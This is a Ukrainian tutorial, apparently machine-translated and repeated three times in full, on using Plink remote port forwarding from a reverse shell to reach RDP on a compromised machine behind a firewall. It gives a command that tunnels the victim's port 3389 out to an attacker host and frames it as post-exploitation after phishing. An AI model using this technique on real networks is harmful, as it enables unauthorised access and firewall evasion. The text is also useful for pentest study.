Віддалене перенаправлення портів для обходу обмежень фаервола

  1. Віддалене перенаправлення портів для обходу обмежень фаервола У цій статті ми розглянемо використання...
  2. Віддалене перенаправлення портів для обходу обмежень фаервола

Віддалене перенаправлення портів для обходу обмежень фаервола

У цій статті ми розглянемо використання SSH для доступу до віддаленого робочого столу через хост, що знаходиться за фаєрволом у внутрішній мережі, без модифікації правил, пов'язаних з перенаправлення портів, в шлюзі!

Автор: Barrow

Локальне перенаправлення портів (port forwarding) доречно в тому випадку, якщо ви хочете використовувати SSH для підключення до немаршрутізіруемой мережі (non-routable network). Однак якщо ви хочете отримати доступ до служб в мережі, коли немає можливості налаштувати перенаправлення портів в роутері і у вас немає VPN-доступу до мережі, вам допоможе віддалене перенаправлення портів.

Віддалене перенаправлення портів підходить в тих ситуаціях, коли ви хочете скористатися службою у внутрішній мережі після отримання доступу до однієї з машин цієї мережі через реверсивний (зворотний) шелл. Незалежно від того чи виконуєте ви пентести або є системним адміністратором, буде корисно розібратися в цій темі.

Припустимо, ви скомпрометували загальнодоступний термінал в місцевій бібліотеці і отримали облікові записи. Потім ви встановили надійне підключення до вашої машини за допомогою реверсивного шелла, але у вас немає доступу до решти службам. Ймовірно, вам захочеться скористатися SQL-службою або віддаленим робочим столом, доступ до яких можливий тільки з локального хоста. Крім того, в тій мережі може бути доступна якась адмін-панель, з який ви також захочете ознайомитися. Загалом, чого б ви не побажали, щоб вирішити поставлене завдання, вам знадобиться скомпрометований хост і доступ через SSH.

Віддалене перенаправлення портів може знадобитися не тільки у шкідливих цілях, а, наприклад, для того, щоб зробити тимчасову «дірку» для доступу до робочих службам з дому (хоча служба безпеки може негативно ставитися до подібного роду заходів).

Інший приклад: фішингові компанії, коли користувач запустив вашу корисне навантаження, і у вас є тільки зворотний шелл. Після отримання додаткової інформації та подальшого розширення привілеїв, у вас з'являється адміністративна обліковий запис, яку ви хочете використовувати для доступу до іншої службі на скомпрометованої машині.

У цій статті ми розглянемо використання SSH для доступу до віддаленого робочого столу через хост, що знаходиться за фаєрволом у внутрішній мережі, без модифікації правил, пов'язаних з перенаправлення портів, в шлюзі!

Початкові умови

Шелл є Netcat-з'єднання, запущений через cmd.exe. Користувач «bob» не володіє привілеями. На базі раніше отриманої інформації я знаю, що існує привілейований користувач «barrow» і можливість підключення до віддаленого робочого столу.

Малюнок 1: Список активних сполук
Малюнок 1: Список активних сполук

Було б чудово підключитися до цієї машини через віддалений робочий стіл під обліковим записом адміністратора, однак маршрутизація до моєї системі відсутній. Скомпрометована система знаходиться за роутером з внутрішнім IP-адресою, і у мене є доступ до внутрішньої мережі тільки через внутрішній хост.

Я можу скористатися зворотним шеллом для взаємодії зі скомпрометованим хостом, але, але не зможу підключитися до віддаленого робочого столу за допомогою того ж IP-адреси. Якщо я буду використовувати публічний IP-адресу, то підключуся до роутера, який буде ігнорувати мої пакети. Оскільки у мене немає SSH-сервера в цій мережі, я буду використовувати Plink для перенаправлення служби віддалених робочих столів на мою машину.

Крок 1: Установка Plink

Plink - це SSH-клієнт, що працює на базі командного рядка в ОС Windows. Дана утиліта включена в дистрибутив Kali Linux і знаходиться в директорії / usr / share / windows-binaries /. Можна завантажити безпосередньо з сайту розробника (Шукайте файл plink.exe).

Малюнок 2: Вміст директорії / usr / share / windows-binaries /
Малюнок 2: Вміст директорії / usr / share / windows-binaries /

Крок 2: Налаштування віддаленого перенаправлення портів

Використовуючи Netcat-шелл і plink.exe, я буду встановлювати віддалене перенаправлення портів з системи жертви на мою машину за допомогою наступної команди, що вводиться в зворотному короби, який я організував на машині жертви.
plink attackingMachine -R 4000: 127.0.0.1: 3389

Синтаксис аналогічний SSH. Параметр -R вказує Plink, що потрібно підключитися до моєї машині і прив'язати утворений канал до порту 4000 (можна вибрати будь-який інший порт). Далі визначаємо, яка служба буде прив'язана до порту 4000 на моїй машині. Порт, який використовується в системі жертви - 3389. Після введення команди я підключуся до моєї машині і буду мати доступ до віддаленого робочого стола через мій локальний порт 4000.
Синтаксис аналогічний SSH
Малюнок 3: Схема підключення до віддаленої службі

Зверніть увагу, що я використав адреса 127.0.0.1 при запуску команди в системі жертви. Цей трюк корисний для перенаправлення портів у випадку зі службами, які обмежені доступом тільки з боку localhost (наприклад, MySQL).

Крок 3: Підключення до віддаленого робочого столу

Використовуючи Netcat-шелл, я буду підключатися до віддаленого робочого столу в системі жертви за допомогою команди rdesktop. Команда нижче використовує протокол віддаленого робочого стола для підключення до локального порту 4000. Далі система жертви виробляє перенаправлення на свій локальний порт 3389.

rdesktop localhost: 4000

Малюнок 4: Стартовий екран віддаленого робочого стола
Малюнок 4: Стартовий екран віддаленого робочого стола

Залишилося скористатися обліковими записами, отриманими через фішинг або через розширення привілеїв. Далі у мене буде повний доступ до системи навіть незважаючи на те, що шлюз ігнорує всі запити на вхідні з'єднання. Крім того, я продовжую утримувати з'єднання, оскільки втратити йшов набагато простіше, ніж повернути назад.

Малюнок 5: Налаштування контролю облікових записів
Малюнок 5: Налаштування контролю облікових записів

SSH - відмінний спосіб для проникнення всередину мереж і може стати в нагоді не тільки під час пентестов. Віддалене перенаправлення портів дозволяє скористатися службами в системах, доступ до яких в звичайних умовах неможливий. Крім того, ви можете використовувати ці служби і не в зловмисних цілях. Наприклад, якщо потрібно підключитися до робочої службі з дому, але фаєрвол відхиляє вхідні пакети. У деяких випадках, установка реверсивного SSH-тунелю простіше, ніж, перенаправлення портів у бюджетного роутера.


Віддалене перенаправлення портів для обходу обмежень фаервола

У цій статті ми розглянемо використання SSH для доступу до віддаленого робочого столу через хост, що знаходиться за фаєрволом у внутрішній мережі, без модифікації правил, пов'язаних з перенаправлення портів, в шлюзі!

Автор: Barrow

Локальне перенаправлення портів (port forwarding) доречно в тому випадку, якщо ви хочете використовувати SSH для підключення до немаршрутізіруемой мережі (non-routable network). Однак якщо ви хочете отримати доступ до служб в мережі, коли немає можливості налаштувати перенаправлення портів в роутері і у вас немає VPN-доступу до мережі, вам допоможе віддалене перенаправлення портів.

Віддалене перенаправлення портів підходить в тих ситуаціях, коли ви хочете скористатися службою у внутрішній мережі після отримання доступу до однієї з машин цієї мережі через реверсивний (зворотний) шелл. Незалежно від того чи виконуєте ви пентести або є системним адміністратором, буде корисно розібратися в цій темі.

Припустимо, ви скомпрометували загальнодоступний термінал в місцевій бібліотеці і отримали облікові записи. Потім ви встановили надійне підключення до вашої машини за допомогою реверсивного шелла, але у вас немає доступу до решти службам. Ймовірно, вам захочеться скористатися SQL-службою або віддаленим робочим столом, доступ до яких можливий тільки з локального хоста. Крім того, в тій мережі може бути доступна якась адмін-панель, з який ви також захочете ознайомитися. Загалом, чого б ви не побажали, щоб вирішити поставлене завдання, вам знадобиться скомпрометований хост і доступ через SSH.

Віддалене перенаправлення портів може знадобитися не тільки у шкідливих цілях, а, наприклад, для того, щоб зробити тимчасову «дірку» для доступу до робочих службам з дому (хоча служба безпеки може негативно ставитися до подібного роду заходів).

Інший приклад: фішингові компанії, коли користувач запустив вашу корисне навантаження, і у вас є тільки зворотний шелл. Після отримання додаткової інформації та подальшого розширення привілеїв, у вас з'являється адміністративна обліковий запис, яку ви хочете використовувати для доступу до іншої службі на скомпрометованої машині.

У цій статті ми розглянемо використання SSH для доступу до віддаленого робочого столу через хост, що знаходиться за фаєрволом у внутрішній мережі, без модифікації правил, пов'язаних з перенаправлення портів, в шлюзі!

Початкові умови

Шелл є Netcat-з'єднання, запущений через cmd.exe. Користувач «bob» не володіє привілеями. На базі раніше отриманої інформації я знаю, що існує привілейований користувач «barrow» і можливість підключення до віддаленого робочого столу.

Малюнок 1: Список активних сполук
Малюнок 1: Список активних сполук

Було б чудово підключитися до цієї машини через віддалений робочий стіл під обліковим записом адміністратора, однак маршрутизація до моєї системі відсутній. Скомпрометована система знаходиться за роутером з внутрішнім IP-адресою, і у мене є доступ до внутрішньої мережі тільки через внутрішній хост.

Я можу скористатися зворотним шеллом для взаємодії зі скомпрометованим хостом, але, але не зможу підключитися до віддаленого робочого столу за допомогою того ж IP-адреси. Якщо я буду використовувати публічний IP-адресу, то підключуся до роутера, який буде ігнорувати мої пакети. Оскільки у мене немає SSH-сервера в цій мережі, я буду використовувати Plink для перенаправлення служби віддалених робочих столів на мою машину.

Крок 1: Установка Plink

Plink - це SSH-клієнт, що працює на базі командного рядка в ОС Windows. Дана утиліта включена в дистрибутив Kali Linux і знаходиться в директорії / usr / share / windows-binaries /. Можна завантажити безпосередньо з сайту розробника (Шукайте файл plink.exe).

Малюнок 2: Вміст директорії / usr / share / windows-binaries /
Малюнок 2: Вміст директорії / usr / share / windows-binaries /

Крок 2: Налаштування віддаленого перенаправлення портів

Використовуючи Netcat-шелл і plink.exe, я буду встановлювати віддалене перенаправлення портів з системи жертви на мою машину за допомогою наступної команди, що вводиться в зворотному короби, який я організував на машині жертви.
plink attackingMachine -R 4000: 127.0.0.1: 3389

Синтаксис аналогічний SSH. Параметр -R вказує Plink, що потрібно підключитися до моєї машині і прив'язати утворений канал до порту 4000 (можна вибрати будь-який інший порт). Далі визначаємо, яка служба буде прив'язана до порту 4000 на моїй машині. Порт, який використовується в системі жертви - 3389. Після введення команди я підключуся до моєї машині і буду мати доступ до віддаленого робочого стола через мій локальний порт 4000.
Синтаксис аналогічний SSH
Малюнок 3: Схема підключення до віддаленої службі

Зверніть увагу, що я використав адреса 127.0.0.1 при запуску команди в системі жертви. Цей трюк корисний для перенаправлення портів у випадку зі службами, які обмежені доступом тільки з боку localhost (наприклад, MySQL).

Крок 3: Підключення до віддаленого робочого столу

Використовуючи Netcat-шелл, я буду підключатися до віддаленого робочого столу в системі жертви за допомогою команди rdesktop. Команда нижче використовує протокол віддаленого робочого стола для підключення до локального порту 4000. Далі система жертви виробляє перенаправлення на свій локальний порт 3389.

rdesktop localhost: 4000

Малюнок 4: Стартовий екран віддаленого робочого стола
Малюнок 4: Стартовий екран віддаленого робочого стола

Залишилося скористатися обліковими записами, отриманими через фішинг або через розширення привілеїв. Далі у мене буде повний доступ до системи навіть незважаючи на те, що шлюз ігнорує всі запити на вхідні з'єднання. Крім того, я продовжую утримувати з'єднання, оскільки втратити йшов набагато простіше, ніж повернути назад.

Малюнок 5: Налаштування контролю облікових записів
Малюнок 5: Налаштування контролю облікових записів

SSH - відмінний спосіб для проникнення всередину мереж і може стати в нагоді не тільки під час пентестов. Віддалене перенаправлення портів дозволяє скористатися службами в системах, доступ до яких в звичайних умовах неможливий. Крім того, ви можете використовувати ці служби і не в зловмисних цілях. Наприклад, якщо потрібно підключитися до робочої службі з дому, але фаєрвол відхиляє вхідні пакети. У деяких випадках, установка реверсивного SSH-тунелю простіше, ніж, перенаправлення портів у бюджетного роутера.


Віддалене перенаправлення портів для обходу обмежень фаервола

У цій статті ми розглянемо використання SSH для доступу до віддаленого робочого столу через хост, що знаходиться за фаєрволом у внутрішній мережі, без модифікації правил, пов'язаних з перенаправлення портів, в шлюзі!

Автор: Barrow

Локальне перенаправлення портів (port forwarding) доречно в тому випадку, якщо ви хочете використовувати SSH для підключення до немаршрутізіруемой мережі (non-routable network). Однак якщо ви хочете отримати доступ до служб в мережі, коли немає можливості налаштувати перенаправлення портів в роутері і у вас немає VPN-доступу до мережі, вам допоможе віддалене перенаправлення портів.

Віддалене перенаправлення портів підходить в тих ситуаціях, коли ви хочете скористатися службою у внутрішній мережі після отримання доступу до однієї з машин цієї мережі через реверсивний (зворотний) шелл. Незалежно від того чи виконуєте ви пентести або є системним адміністратором, буде корисно розібратися в цій темі.

Припустимо, ви скомпрометували загальнодоступний термінал в місцевій бібліотеці і отримали облікові записи. Потім ви встановили надійне підключення до вашої машини за допомогою реверсивного шелла, але у вас немає доступу до решти службам. Ймовірно, вам захочеться скористатися SQL-службою або віддаленим робочим столом, доступ до яких можливий тільки з локального хоста. Крім того, в тій мережі може бути доступна якась адмін-панель, з який ви також захочете ознайомитися. Загалом, чого б ви не побажали, щоб вирішити поставлене завдання, вам знадобиться скомпрометований хост і доступ через SSH.

Віддалене перенаправлення портів може знадобитися не тільки у шкідливих цілях, а, наприклад, для того, щоб зробити тимчасову «дірку» для доступу до робочих службам з дому (хоча служба безпеки може негативно ставитися до подібного роду заходів).

Інший приклад: фішингові компанії, коли користувач запустив вашу корисне навантаження, і у вас є тільки зворотний шелл. Після отримання додаткової інформації та подальшого розширення привілеїв, у вас з'являється адміністративна обліковий запис, яку ви хочете використовувати для доступу до іншої службі на скомпрометованої машині.

У цій статті ми розглянемо використання SSH для доступу до віддаленого робочого столу через хост, що знаходиться за фаєрволом у внутрішній мережі, без модифікації правил, пов'язаних з перенаправлення портів, в шлюзі!

Початкові умови

Шелл є Netcat-з'єднання, запущений через cmd.exe. Користувач «bob» не володіє привілеями. На базі раніше отриманої інформації я знаю, що існує привілейований користувач «barrow» і можливість підключення до віддаленого робочого столу.

Малюнок 1: Список активних сполук
Малюнок 1: Список активних сполук

Було б чудово підключитися до цієї машини через віддалений робочий стіл під обліковим записом адміністратора, однак маршрутизація до моєї системі відсутній. Скомпрометована система знаходиться за роутером з внутрішнім IP-адресою, і у мене є доступ до внутрішньої мережі тільки через внутрішній хост.

Я можу скористатися зворотним шеллом для взаємодії зі скомпрометованим хостом, але, але не зможу підключитися до віддаленого робочого столу за допомогою того ж IP-адреси. Якщо я буду використовувати публічний IP-адресу, то підключуся до роутера, який буде ігнорувати мої пакети. Оскільки у мене немає SSH-сервера в цій мережі, я буду використовувати Plink для перенаправлення служби віддалених робочих столів на мою машину.

Крок 1: Установка Plink

Plink - це SSH-клієнт, що працює на базі командного рядка в ОС Windows. Дана утиліта включена в дистрибутив Kali Linux і знаходиться в директорії / usr / share / windows-binaries /. Можна завантажити безпосередньо з сайту розробника (Шукайте файл plink.exe).

Малюнок 2: Вміст директорії / usr / share / windows-binaries /
Малюнок 2: Вміст директорії / usr / share / windows-binaries /

Крок 2: Налаштування віддаленого перенаправлення портів

Використовуючи Netcat-шелл і plink.exe, я буду встановлювати віддалене перенаправлення портів з системи жертви на мою машину за допомогою наступної команди, що вводиться в зворотному короби, який я організував на машині жертви.
plink attackingMachine -R 4000: 127.0.0.1: 3389

Синтаксис аналогічний SSH. Параметр -R вказує Plink, що потрібно підключитися до моєї машині і прив'язати утворений канал до порту 4000 (можна вибрати будь-який інший порт). Далі визначаємо, яка служба буде прив'язана до порту 4000 на моїй машині. Порт, який використовується в системі жертви - 3389. Після введення команди я підключуся до моєї машині і буду мати доступ до віддаленого робочого стола через мій локальний порт 4000.
Синтаксис аналогічний SSH
Малюнок 3: Схема підключення до віддаленої службі

Зверніть увагу, що я використав адреса 127.0.0.1 при запуску команди в системі жертви. Цей трюк корисний для перенаправлення портів у випадку зі службами, які обмежені доступом тільки з боку localhost (наприклад, MySQL).

Крок 3: Підключення до віддаленого робочого столу

Використовуючи Netcat-шелл, я буду підключатися до віддаленого робочого столу в системі жертви за допомогою команди rdesktop. Команда нижче використовує протокол віддаленого робочого стола для підключення до локального порту 4000. Далі система жертви виробляє перенаправлення на свій локальний порт 3389.

rdesktop localhost: 4000

Малюнок 4: Стартовий екран віддаленого робочого стола
Малюнок 4: Стартовий екран віддаленого робочого стола

Залишилося скористатися обліковими записами, отриманими через фішинг або через розширення привілеїв. Далі у мене буде повний доступ до системи навіть незважаючи на те, що шлюз ігнорує всі запити на вхідні з'єднання. Крім того, я продовжую утримувати з'єднання, оскільки втратити йшов набагато простіше, ніж повернути назад.

Малюнок 5: Налаштування контролю облікових записів
Малюнок 5: Налаштування контролю облікових записів

SSH - відмінний спосіб для проникнення всередину мереж і може стати в нагоді не тільки під час пентестов. Віддалене перенаправлення портів дозволяє скористатися службами в системах, доступ до яких в звичайних умовах неможливий. Крім того, ви можете використовувати ці служби і не в зловмисних цілях. Наприклад, якщо потрібно підключитися до робочої службі з дому, але фаєрвол відхиляє вхідні пакети. У деяких випадках, установка реверсивного SSH-тунелю простіше, ніж, перенаправлення портів у бюджетного роутера.